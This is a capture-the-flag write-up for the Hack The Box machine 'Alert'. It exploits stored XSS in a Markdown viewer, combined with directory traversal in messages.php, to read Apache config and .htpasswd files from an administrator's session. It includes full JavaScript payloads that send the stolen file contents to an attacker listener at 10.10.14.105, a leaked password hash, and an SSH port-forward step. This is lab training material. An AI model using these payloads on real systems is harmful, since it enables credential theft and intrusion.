Here we found a statistics subdomain. Lets add into /etc/hosts
When trying access to the statistics.alert.htb it had a HTTP Basic Authentication in the first security layer.
File upload check
I try upload pentest-monkey.php file into the server and it shows the error only .md file accepted
Markdown viewers often vulnerable to XSS. So let’s try something simple to test it. Create a simple payload and named it into test.md
1 2 3
<script> alert(1) </script>
And the results show positive.
Access to whitelist page via XSS
From the About us page, there is a message mentioning web administrator is in charge of reviewing contact messages. Means we just send a XSS payload to web admin via “Contact Us” page and capture the /messages.php page and send the result back to KALI
Upload page.md to the Markdown viewer and obtain the share link by clicking the Share Markdown button on bottom right. Then send the message to the administrator
From the initial recon, website is running on Apache httpd 2.4.41 where we can get the Apache config files via directory traversal. According to the digital ocean we can get the config files from /etc/apache2/sites-available/000-default.conf
1 2 3 4 5 6 7 8 9 10 11 12 13
# Found a better script <script> var url = "messages.php?file=../../../../../../../etc/apache2/sites-available/000-default.conf" var attacker = "http://10.10.14.105:1234/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) </script>
From the config file found the AuthUserFile path, lets repeat the same way to obtain file
1 2 3 4 5 6 7 8 9 10 11 12
<script> var url = "messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd" var attacker = "http://10.10.14.105:1234/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) </script>
Bingo! Here we got the user albert and its hash
1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Initiate User Foothold
Based on the hash we found on previous steps, lets identify and decode it
╔══════════╣ Modified interesting files in the last 5mins (limit 100) /opt/website-monitor/config/configuration.php /opt/website-monitor/monitors/alert.htb /opt/website-monitor/monitors/statistics.alert.htb
Here we found a interesting port, from the PS process can see it is run by root as website monitor in port 8080. We can use SSH to local port forwarding to our KALI machine.
1
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
Under the **/opt/website-monitor**directory there is monitors folder with 777 permission and owned by root user